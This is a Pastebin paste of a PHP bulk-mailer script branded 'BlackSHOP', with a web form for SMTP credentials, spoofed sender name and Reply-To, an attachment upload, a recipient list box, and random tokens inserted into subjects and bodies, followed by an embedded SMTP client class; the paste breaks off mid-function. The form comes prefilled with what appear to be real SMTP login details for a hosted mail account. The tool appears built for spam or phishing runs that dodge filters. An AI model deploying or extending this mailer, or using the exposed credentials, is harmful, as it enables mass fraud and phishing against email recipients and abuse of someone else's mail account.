Guest User

Untitled

a guest
Jul 18th, 2016
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 98.88 KB | None | 0 0
  1. <?
  2. function query_str($params){
  3. $str = '';
  4. foreach ($params as $key => $value) {
  5. $str .= (strlen($str) < 1) ? '' : '&';
  6. $str .= $key . '=' . rawurlencode($value);
  7. }
  8. return ($str);
  9. }
  10. function lrtrim($string){
  11. return stripslashes(ltrim(rtrim($string)));
  12. }
  13. if(isset($_POST['action'] ) ){
  14.  
  15. $b = query_str($_POST);
  16. parse_str($b);
  17. $sslclick=lrtrim($sslclick);
  18. $action=lrtrim($action);
  19. $message=lrtrim($message);
  20. $emaillist=lrtrim($emaillist);
  21. $from=lrtrim($from);
  22. $reconnect=lrtrim($reconnect);
  23. $epriority=lrtrim($epriority);
  24. $my_smtp=lrtrim($my_smtp);
  25. $ssl_port=lrtrim($ssl_port);
  26. $smtp_username=lrtrim($smtp_username);
  27. $smtp_password=lrtrim($smtp_password);
  28. $replyto=lrtrim($replyto);
  29. $subject=lrtrim($subject);
  30. $realname=lrtrim($realname);
  31. $file_name="ayoub.rar";
  32. $file="./ayoub.rar";
  33. $urlz=lrtrim($urlz);
  34. $contenttype=lrtrim($contenttype);
  35.  
  36. $message = urlencode($message);
  37. $message = ereg_replace("%5C%22", "%22", $message);
  38. $message = urldecode($message);
  39. $message = stripslashes($message);
  40. $random = md5(mt_rand());
  41. $message = str_replace('[red]',$random,$message);
  42. $subject = stripslashes($subject);
  43. $random1= rand() . "\n";
  44. $subject = str_replace('[tto]',$random1,$subject);
  45. }
  46. ?>
  47.  
  48. <html>
  49.  
  50. <head>
  51.  
  52. <title>BlackSHOP</title>
  53.  
  54. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  55.  
  56. <style type="text/css">
  57. <!--
  58. .style1 {
  59. font-family: Geneva, Arial, Helvetica, sans-serif;
  60. font-size: 12px;
  61. }
  62. -->
  63. </style>
  64. <style type="text/css">
  65. <!--
  66. .style1 {
  67. font-size: 10px;
  68. font-family: Geneva, Arial, Helvetica, sans-serif;
  69. }
  70. -->
  71. </style>
  72. </head>
  73. <body bgcolor="#FFFFFF" text="#000000">
  74. <span class="style1">PHP eMailer is created by BlackSHOP<br>
  75. brought to you by <font color=\"#800000\">http://www.BlackSHOP.cc/</font></span>
  76. <form name="form1" method="post" action="" enctype="multipart/form-data">
  77.  
  78. <br>
  79.  
  80. <table width="100%" border="0" height="407">
  81.  
  82. <tr>
  83.  
  84. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  85.  
  86. <b>
  87.  
  88. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SMTP SETUP</font></b></td>
  89.  
  90. </tr>
  91. <tr>
  92.  
  93. <td width="10%" height="22" bgcolor="#E8E8E8">
  94.  
  95. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  96.  
  97. </td>
  98.  
  99. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  100.  
  101. <input type="text" name="smtp_username" value="a0@fyot.eu" size="30">
  102.  
  103. </font></td>
  104.  
  105. <td width="31%" height="22" bgcolor="#E8E8E8">
  106.  
  107. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  108.  
  109. </td>
  110.  
  111. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  112.  
  113. <input type="password" name="smtp_password" value="123456789" size="30">
  114.  
  115. </font></td>
  116.  
  117. </tr>
  118. <tr>
  119.  
  120. <td width="10%" height="22" bgcolor="#E8E8E8">
  121.  
  122. <div align="right">
  123. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  124.  
  125. </td>
  126.  
  127. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  128.  
  129. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  130. (optional)</font></td>
  131.  
  132. <td width="31%" height="22" bgcolor="#E8E8E8">
  133.  
  134. <div align="right">
  135. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  136. Smtp:</font></div>
  137.  
  138. </td>
  139.  
  140. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  141.  
  142. <input type="text" name="my_smtp" value="auth.smtp.1and1.fr" size="30">
  143.  
  144. </font></td>
  145.  
  146. </tr>
  147. <tr>
  148.  
  149. <td width="10%" height="22" bgcolor="#E8E8E8">
  150.  
  151. <p align="right">
  152.  
  153. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  154.  
  155. <td width="18%" height="22" bgcolor="#E8E8E8">
  156. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  157.  
  158. <td width="31%" height="22" bgcolor="#E8E8E8">
  159.  
  160. <p align="right">
  161. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  162. After:</font></td>
  163.  
  164. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  165.  
  166. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  167. EMAILS</font></td>
  168.  
  169. </tr>
  170. <tr>
  171.  
  172. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  173.  
  174. <p align="center">
  175. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  176. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  177.  
  178. </tr>
  179.  
  180. <tr>
  181.  
  182. <td width="10%" height="19">&nbsp;
  183.  
  184. </td>
  185.  
  186. <td width="18%" height="19">&nbsp;</td>
  187.  
  188. <td width="31%" height="19">&nbsp;
  189.  
  190. </td>
  191.  
  192. <td width="41%" height="19">&nbsp;</td>
  193.  
  194. </tr>
  195.  
  196. <tr>
  197.  
  198. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  199.  
  200. <b>
  201.  
  202. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  203.  
  204. </tr>
  205. <tr>
  206.  
  207. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  208. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  209. </td>
  210.  
  211. <td width="59%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8" colSpan="3">
  212. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  213.  
  214. <input type="file" name="file" size="124">
  215.  
  216. </font></td>
  217.  
  218. </tr>
  219. <tr>
  220.  
  221. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  222.  
  223. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  224.  
  225. Email:</font></div>
  226.  
  227. </td>
  228.  
  229. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  230.  
  231. <input type="text" name="from" value="<?=$from;?>" size="30">
  232.  
  233. </font></td>
  234.  
  235. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  236.  
  237. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  238.  
  239. Name:</font></div>
  240.  
  241. </td>
  242.  
  243. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  244.  
  245. <input type="text" name="realname" value="<?=$realname;?>" size="30">
  246.  
  247. </font></td>
  248.  
  249. </tr>
  250. <tr>
  251.  
  252. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  253.  
  254. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  255.  
  256. </td>
  257.  
  258. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  259.  
  260. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  261.  
  262. </font></td>
  263.  
  264. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  265.  
  266. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  267. Email Priority:</font></td>
  268.  
  269. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">&nbsp;
  270.  
  271. </font><select name="epriority" id="listMethod" onChange="showHideListConfig()">
  272. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  273. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  274. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  275. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  276. </select></td>
  277.  
  278. </tr>
  279.  
  280. <tr>
  281.  
  282. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  283.  
  284. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  285.  
  286. </td>
  287.  
  288. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  289.  
  290. <input type="text" name="subject" value="<?=$subject;?>" size="90">
  291.  
  292. </font></td>
  293.  
  294. </tr>
  295.  
  296. <tr>
  297.  
  298. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">&nbsp;
  299.  
  300. </td>
  301.  
  302. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">&nbsp;
  303.  
  304. </font></td>
  305.  
  306. </tr>
  307.  
  308. <tr valign="top">
  309.  
  310. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  311.  
  312. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  313.  
  314. <br>
  315.  
  316. <input type="radio" name="contenttype" value="plain" >
  317.  
  318. Plain
  319.  
  320. <input type="radio" name="contenttype" value="html" checked>
  321.  
  322. HTML
  323.  
  324. <input type="hidden" name="action" value="send">
  325.  
  326. <input type="submit" value="Send Message">
  327.  
  328. </font></td>
  329.  
  330. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  331.  
  332. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  333.  
  334. </font></td>
  335.  
  336. </tr>
  337.  
  338. </table>
  339.  
  340. </form>
  341.  
  342.  
  343.  
  344. <?
  345.  
  346. if ($action){
  347. if (!$from && !$subject && !$message && !$emaillist){
  348. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  349. die(); }
  350.  
  351. class SMTP
  352. {
  353. /**
  354. * SMTP server port
  355. * @var int
  356. */
  357. var $SMTP_PORT = 25;
  358.  
  359. /**
  360. * SMTP reply line ending
  361. * @var string
  362. */
  363. var $CRLF = "\r\n";
  364.  
  365. /**
  366. * Sets whether debugging is turned on
  367. * @var bool
  368. */
  369. var $do_debug; # the level of debug to perform
  370.  
  371. /**
  372. * Sets VERP use on/off (default is off)
  373. * @var bool
  374. */
  375. var $do_verp = false;
  376.  
  377. /**#@+
  378. * @access private
  379. */
  380. var $smtp_conn; # the socket to the server
  381. var $error; # error if any on the last call
  382. var $helo_rply; # the reply the server sent to us for HELO
  383. /**#@-*/
  384.  
  385. /**
  386. * Initialize the class so that the data is in a known state.
  387. * @access public
  388. * @return void
  389. */
  390. function SMTP() {
  391. $this->smtp_conn = 0;
  392. $this->error = null;
  393. $this->helo_rply = null;
  394.  
  395. $this->do_debug = 0;
  396. }
  397.  
  398. /*************************************************************
  399. * CONNECTION FUNCTIONS *
  400. ***********************************************************/
  401.  
  402. /**
  403. * Connect to the server specified on the port specified.
  404. * If the port is not specified use the default SMTP_PORT.
  405. * If tval is specified then a connection will try and be
  406. * established with the server for that number of seconds.
  407. * If tval is not specified the default is 30 seconds to
  408. * try on the connection.
  409. *
  410. * SMTP CODE SUCCESS: 220
  411. * SMTP CODE FAILURE: 421
  412. * @access public
  413. * @return bool
  414. */
  415. function Connect($host,$port=0,$tval=30) {
  416. # set the error val to null so there is no confusion
  417. $this->error = null;
  418.  
  419. # make sure we are __not__ connected
  420. if($this->connected()) {
  421. # ok we are connected! what should we do?
  422. # for now we will just give an error saying we
  423. # are already connected
  424. $this->error = array("error" => "Already connected to a server");
  425. return false;
  426. }
  427.  
  428. if(empty($port)) {
  429. $port = $this->SMTP_PORT;
  430. }
  431.  
  432. #connect to the smtp server
  433. $this->smtp_conn = fsockopen($host, # the host of the server
  434. $port, # the port to use
  435. $errno, # error number if any
  436. $errstr, # error message if any
  437. $tval); # give up after ? secs
  438. # verify we connected properly
  439. if(empty($this->smtp_conn)) {
  440. $this->error = array("error" => "Failed to connect to server",
  441. "errno" => $errno,
  442. "errstr" => $errstr);
  443. if($this->do_debug >= 1) {
  444. echo "SMTP -> ERROR: " . $this->error["error"] .
  445. ": $errstr ($errno)" . $this->CRLF;
  446. }
  447. return false;
  448. }
  449.  
  450. # sometimes the SMTP server takes a little longer to respond
  451. # so we will give it a longer timeout for the first read
  452. // Windows still does not have support for this timeout function
  453. if(substr(PHP_OS, 0, 3) != "WIN")
  454. socket_set_timeout($this->smtp_conn, $tval, 0);
  455.  
  456. # get any announcement stuff
  457. $announce = $this->get_lines();
  458.  
  459. # set the timeout of any socket functions at 1/10 of a second
  460. //if(function_exists("socket_set_timeout"))
  461. // socket_set_timeout($this->smtp_conn, 0, 100000);
  462.  
  463. if($this->do_debug >= 2) {
  464. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  465. }
  466.  
  467. return true;
  468. }
  469.  
  470. /**
  471. * Performs SMTP authentication. Must be run after running the
  472. * Hello() method. Returns true if successfully authenticated.
  473. * @access public
  474. * @return bool
  475. */
  476. function Authenticate($username, $password) {
  477. // Start authentication
  478. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  479.  
  480. $rply = $this->get_lines();
  481. $code = substr($rply,0,3);
  482.  
  483. if($code != 334) {
  484. $this->error =
  485. array("error" => "AUTH not accepted from server",
  486. "smtp_code" => $code,
  487. "smtp_msg" => substr($rply,4));
  488. if($this->do_debug >= 1) {
  489. echo "SMTP -> ERROR: " . $this->error["error"] .
  490. ": " . $rply . $this->CRLF;
  491. }
  492. return false;
  493. }
  494.  
  495. // Send encoded username
  496. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  497.  
  498. $rply = $this->get_lines();
  499. $code = substr($rply,0,3);
  500.  
  501. if($code != 334) {
  502. $this->error =
  503. array("error" => "Username not accepted from server",
  504. "smtp_code" => $code,
  505. "smtp_msg" => substr($rply,4));
  506. if($this->do_debug >= 1) {
  507. echo "SMTP -> ERROR: " . $this->error["error"] .
  508. ": " . $rply . $this->CRLF;
  509. }
  510. return false;
  511. }
  512.  
  513. // Send encoded password
  514. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  515.  
  516. $rply = $this->get_lines();
  517. $code = substr($rply,0,3);
  518.  
  519. if($code != 235) {
  520. $this->error =
  521. array("error" => "Password not accepted from server",
  522. "smtp_code" => $code,
  523. "smtp_msg" => substr($rply,4));
  524. if($this->do_debug >= 1) {
  525. echo "SMTP -> ERROR: " . $this->error["error"] .
  526. ": " . $rply . $this->CRLF;
  527. }
  528. return false;
  529. }
  530.  
  531. return true;
  532. }
  533.  
  534. /**
  535. * Returns true if connected to a server otherwise false
  536. * @access private
  537. * @return bool
  538. */
  539. function Connected() {
  540. if(!empty($this->smtp_conn)) {
  541. $sock_status = socket_get_status($this->smtp_conn);
  542. if($sock_status["eof"]) {
  543. # hmm this is an odd situation... the socket is
  544. # valid but we are not connected anymore
  545. if($this->do_debug >= 1) {
  546. echo "SMTP -> NOTICE:" . $this->CRLF .
  547. "EOF caught while checking if connected";
  548. }
  549. $this->Close();
  550. return false;
  551. }
  552. return true; # everything looks good
  553. }
  554. return false;
  555. }
  556.  
  557. /**
  558. * Closes the socket and cleans up the state of the class.
  559. * It is not considered good to use this function without
  560. * first trying to use QUIT.
  561. * @access public
  562. * @return void
  563. */
  564. function Close() {
  565. $this->error = null; # so there is no confusion
  566. $this->helo_rply = null;
  567. if(!empty($this->smtp_conn)) {
  568. # close the connection and cleanup
  569. fclose($this->smtp_conn);
  570. $this->smtp_conn = 0;
  571. }
  572. }
  573.  
  574. /***************************************************************
  575. * SMTP COMMANDS *
  576. *************************************************************/
  577.  
  578. /**
  579. * Issues a data command and sends the msg_data to the server
  580. * finializing the mail transaction. $msg_data is the message
  581. * that is to be send with the headers. Each header needs to be
  582. * on a single line followed by a <CRLF> with the message headers
  583. * and the message body being seperated by and additional <CRLF>.
  584. *
  585. * Implements rfc 821: DATA <CRLF>
  586. *
  587. * SMTP CODE INTERMEDIATE: 354
  588. * [data]
  589. * <CRLF>.<CRLF>
  590. * SMTP CODE SUCCESS: 250
  591. * SMTP CODE FAILURE: 552,554,451,452
  592. * SMTP CODE FAILURE: 451,554
  593. * SMTP CODE ERROR : 500,501,503,421
  594. * @access public
  595. * @return bool
  596. */
  597. function Data($msg_data) {
  598. $this->error = null; # so no confusion is caused
  599.  
  600. if(!$this->connected()) {
  601. $this->error = array(
  602. "error" => "Called Data() without being connected");
  603. return false;
  604. }
  605.  
  606. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  607.  
  608. $rply = $this->get_lines();
  609. $code = substr($rply,0,3);
  610.  
  611. if($this->do_debug >= 2) {
  612. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  613. }
  614.  
  615. if($code != 354) {
  616. $this->error =
  617. array("error" => "DATA command not accepted from server",
  618. "smtp_code" => $code,
  619. "smtp_msg" => substr($rply,4));
  620. if($this->do_debug >= 1) {
  621. echo "SMTP -> ERROR: " . $this->error["error"] .
  622. ": " . $rply . $this->CRLF;
  623. }
  624. return false;
  625. }
  626.  
  627. # the server is ready to accept data!
  628. # according to rfc 821 we should not send more than 1000
  629. # including the CRLF
  630. # characters on a single line so we will break the data up
  631. # into lines by \r and/or \n then if needed we will break
  632. # each of those into smaller lines to fit within the limit.
  633. # in addition we will be looking for lines that start with
  634. # a period '.' and append and additional period '.' to that
  635. # line. NOTE: this does not count towards are limit.
  636.  
  637. # normalize the line breaks so we know the explode works
  638. $msg_data = str_replace("\r\n","\n",$msg_data);
  639. $msg_data = str_replace("\r","\n",$msg_data);
  640. $lines = explode("\n",$msg_data);
  641.  
  642. # we need to find a good way to determine is headers are
  643. # in the msg_data or if it is a straight msg body
  644. # currently I am assuming rfc 822 definitions of msg headers
  645. # and if the first field of the first line (':' sperated)
  646. # does not contain a space then it _should_ be a header
  647. # and we can process all lines before a blank "" line as
  648. # headers.
  649. $field = substr($lines[0],0,strpos($lines[0],":"));
  650. $in_headers = false;
  651. if(!empty($field) && !strstr($field," ")) {
  652. $in_headers = true;
  653. }
  654.  
  655. $max_line_length = 998; # used below; set here for ease in change
  656.  
  657. while(list(,$line) = @each($lines)) {
  658. $lines_out = null;
  659. if($line == "" && $in_headers) {
  660. $in_headers = false;
  661. }
  662. # ok we need to break this line up into several
  663. # smaller lines
  664. while(strlen($line) > $max_line_length) {
  665. $pos = strrpos(substr($line,0,$max_line_length)," ");
  666.  
  667. # Patch to fix DOS attack
  668. if(!$pos) {
  669. $pos = $max_line_length - 1;
  670. }
  671.  
  672. $lines_out[] = substr($line,0,$pos);
  673. $line = substr($line,$pos + 1);
  674. # if we are processing headers we need to
  675. # add a LWSP-char to the front of the new line
  676. # rfc 822 on long msg headers
  677. if($in_headers) {
  678. $line = "\t" . $line;
  679. }
  680. }
  681. $lines_out[] = $line;
  682.  
  683. # now send the lines to the server
  684. while(list(,$line_out) = @each($lines_out)) {
  685. if(strlen($line_out) > 0)
  686. {
  687.  
  688. if(substr($line_out, 0, 1) == ".") {
  689. $line_out = "." . $line_out;
  690. }
  691. }
  692. fputs($this->smtp_conn,$line_out . $this->CRLF);
  693. }
  694. }
  695.  
  696. # ok all the message data has been sent so lets get this
  697. # over with aleady
  698. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  699.  
  700. $rply = $this->get_lines();
  701. $code = substr($rply,0,3);
  702.  
  703. if($this->do_debug >= 2) {
  704. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  705. }
  706.  
  707. if($code != 250) {
  708. $this->error =
  709. array("error" => "DATA not accepted from server",
  710. "smtp_code" => $code,
  711. "smtp_msg" => substr($rply,4));
  712. if($this->do_debug >= 1) {
  713. echo "SMTP -> ERROR: " . $this->error["error"] .
  714. ": " . $rply . $this->CRLF;
  715. }
  716. return false;
  717. }
  718. return true;
  719. }
  720.  
  721. /**
  722. * Expand takes the name and asks the server to list all the
  723. * people who are members of the _list_. Expand will return
  724. * back and array of the result or false if an error occurs.
  725. * Each value in the array returned has the format of:
  726. * [ <full-name> <sp> ] <path>
  727. * The definition of <path> is defined in rfc 821
  728. *
  729. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  730. *
  731. * SMTP CODE SUCCESS: 250
  732. * SMTP CODE FAILURE: 550
  733. * SMTP CODE ERROR : 500,501,502,504,421
  734. * @access public
  735. * @return string array
  736. */
  737. function Expand($name) {
  738. $this->error = null; # so no confusion is caused
  739.  
  740. if(!$this->connected()) {
  741. $this->error = array(
  742. "error" => "Called Expand() without being connected");
  743. return false;
  744. }
  745.  
  746. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  747.  
  748. $rply = $this->get_lines();
  749. $code = substr($rply,0,3);
  750.  
  751. if($this->do_debug >= 2) {
  752. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  753. }
  754.  
  755. if($code != 250) {
  756. $this->error =
  757. array("error" => "EXPN not accepted from server",
  758. "smtp_code" => $code,
  759. "smtp_msg" => substr($rply,4));
  760. if($this->do_debug >= 1) {
  761. echo "SMTP -> ERROR: " . $this->error["error"] .
  762. ": " . $rply . $this->CRLF;
  763. }
  764. return false;
  765. }
  766.  
  767. # parse the reply and place in our array to return to user
  768. $entries = explode($this->CRLF,$rply);
  769. while(list(,$l) = @each($entries)) {
  770. $list[] = substr($l,4);
  771. }
  772.  
  773. return $list;
  774. }
  775.  
  776. /**
  777. * Sends the HELO command to the smtp server.
  778. * This makes sure that we and the server are in
  779. * the same known state.
  780. *
  781. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  782. *
  783. * SMTP CODE SUCCESS: 250
  784. * SMTP CODE ERROR : 500, 501, 504, 421
  785. * @access public
  786. * @return bool
  787. */
  788. function Hello($host="") {
  789. $this->error = null; # so no confusion is caused
  790.  
  791. if(!$this->connected()) {
  792. $this->error = array(
  793. "error" => "Called Hello() without being connected");
  794. return false;
  795. }
  796.  
  797. # if a hostname for the HELO was not specified determine
  798. # a suitable one to send
  799. if(empty($host)) {
  800. # we need to determine some sort of appopiate default
  801. # to send to the server
  802. $host = "localhost";
  803. }
  804.  
  805. // Send extended hello first (RFC 2821)
  806. if(!$this->SendHello("EHLO", $host))
  807. {
  808. if(!$this->SendHello("HELO", $host))
  809. return false;
  810. }
  811.  
  812. return true;
  813. }
  814.  
  815. /**
  816. * Sends a HELO/EHLO command.
  817. * @access private
  818. * @return bool
  819. */
  820. function SendHello($hello, $host) {
  821. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  822.  
  823. $rply = $this->get_lines();
  824. $code = substr($rply,0,3);
  825.  
  826. if($this->do_debug >= 2) {
  827. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  828. }
  829.  
  830. if($code != 250) {
  831. $this->error =
  832. array("error" => $hello . " not accepted from server",
  833. "smtp_code" => $code,
  834. "smtp_msg" => substr($rply,4));
  835. if($this->do_debug >= 1) {
  836. echo "SMTP -> ERROR: " . $this->error["error"] .
  837. ": " . $rply . $this->CRLF;
  838. }
  839. return false;
  840. }
  841.  
  842. $this->helo_rply = $rply;
  843.  
  844. return true;
  845. }
  846.  
  847. /**
  848. * Gets help information on the keyword specified. If the keyword
  849. * is not specified then returns generic help, ussually contianing
  850. * A list of keywords that help is available on. This function
  851. * returns the results back to the user. It is up to the user to
  852. * handle the returned data. If an error occurs then false is
  853. * returned with $this->error set appropiately.
  854. *
  855. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  856. *
  857. * SMTP CODE SUCCESS: 211,214
  858. * SMTP CODE ERROR : 500,501,502,504,421
  859. * @access public
  860. * @return string
  861. */
  862. function Help($keyword="") {
  863. $this->error = null; # to avoid confusion
  864.  
  865. if(!$this->connected()) {
  866. $this->error = array(
  867. "error" => "Called Help() without being connected");
  868. return false;
  869. }
  870.  
  871. $extra = "";
  872. if(!empty($keyword)) {
  873. $extra = " " . $keyword;
  874. }
  875.  
  876. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  877.  
  878. $rply = $this->get_lines();
  879. $code = substr($rply,0,3);
  880.  
  881. if($this->do_debug >= 2) {
  882. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  883. }
  884.  
  885. if($code != 211 && $code != 214) {
  886. $this->error =
  887. array("error" => "HELP not accepted from server",
  888. "smtp_code" => $code,
  889. "smtp_msg" => substr($rply,4));
  890. if($this->do_debug >= 1) {
  891. echo "SMTP -> ERROR: " . $this->error["error"] .
  892. ": " . $rply . $this->CRLF;
  893. }
  894. return false;
  895. }
  896.  
  897. return $rply;
  898. }
  899.  
  900. /**
  901. * Starts a mail transaction from the email address specified in
  902. * $from. Returns true if successful or false otherwise. If True
  903. * the mail transaction is started and then one or more Recipient
  904. * commands may be called followed by a Data command.
  905. *
  906. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  907. *
  908. * SMTP CODE SUCCESS: 250
  909. * SMTP CODE SUCCESS: 552,451,452
  910. * SMTP CODE SUCCESS: 500,501,421
  911. * @access public
  912. * @return bool
  913. */
  914. function Mail($from) {
  915. $this->error = null; # so no confusion is caused
  916.  
  917. if(!$this->connected()) {
  918. $this->error = array(
  919. "error" => "Called Mail() without being connected");
  920. return false;
  921. }
  922.  
  923. $useVerp = ($this->do_verp ? "XVERP" : "");
  924. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  925.  
  926. $rply = $this->get_lines();
  927. $code = substr($rply,0,3);
  928.  
  929. if($this->do_debug >= 2) {
  930. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  931. }
  932.  
  933. if($code != 250) {
  934. $this->error =
  935. array("error" => "MAIL not accepted from server",
  936. "smtp_code" => $code,
  937. "smtp_msg" => substr($rply,4));
  938. if($this->do_debug >= 1) {
  939. echo "SMTP -> ERROR: " . $this->error["error"] .
  940. ": " . $rply . $this->CRLF;
  941. }
  942. return false;
  943. }
  944. return true;
  945. }
  946.  
  947. /**
  948. * Sends the command NOOP to the SMTP server.
  949. *
  950. * Implements from rfc 821: NOOP <CRLF>
  951. *
  952. * SMTP CODE SUCCESS: 250
  953. * SMTP CODE ERROR : 500, 421
  954. * @access public
  955. * @return bool
  956. */
  957. function Noop() {
  958. $this->error = null; # so no confusion is caused
  959.  
  960. if(!$this->connected()) {
  961. $this->error = array(
  962. "error" => "Called Noop() without being connected");
  963. return false;
  964. }
  965.  
  966. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  967.  
  968. $rply = $this->get_lines();
  969. $code = substr($rply,0,3);
  970.  
  971. if($this->do_debug >= 2) {
  972. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  973. }
  974.  
  975. if($code != 250) {
  976. $this->error =
  977. array("error" => "NOOP not accepted from server",
  978. "smtp_code" => $code,
  979. "smtp_msg" => substr($rply,4));
  980. if($this->do_debug >= 1) {
  981.  
  982. echo "SMTP -> ERROR: " . $this->error["error"] .
  983. ": " . $rply . $this->CRLF;
  984. }
  985. return false;
  986. }
  987. return true;
  988. }
  989.  
  990. /**
  991. * Sends the quit command to the server and then closes the socket
  992. * if there is no error or the $close_on_error argument is true.
  993. *
  994. * Implements from rfc 821: QUIT <CRLF>
  995. *
  996. * SMTP CODE SUCCESS: 221
  997. * SMTP CODE ERROR : 500
  998. * @access public
  999. * @return bool
  1000. */
  1001. function Quit($close_on_error=true) {
  1002. $this->error = null; # so there is no confusion
  1003.  
  1004. if(!$this->connected()) {
  1005. $this->error = array(
  1006. "error" => "Called Quit() without being connected");
  1007. return false;
  1008. }
  1009.  
  1010. # send the quit command to the server
  1011. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1012.  
  1013. # get any good-bye messages
  1014. $byemsg = $this->get_lines();
  1015.  
  1016. if($this->do_debug >= 2) {
  1017. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1018. }
  1019.  
  1020. $rval = true;
  1021. $e = null;
  1022.  
  1023. $code = substr($byemsg,0,3);
  1024. if($code != 221) {
  1025. # use e as a tmp var cause Close will overwrite $this->error
  1026. $e = array("error" => "SMTP server rejected quit command",
  1027. "smtp_code" => $code,
  1028. "smtp_rply" => substr($byemsg,4));
  1029. $rval = false;
  1030. if($this->do_debug >= 1) {
  1031. echo "SMTP -> ERROR: " . $e["error"] . ": " .
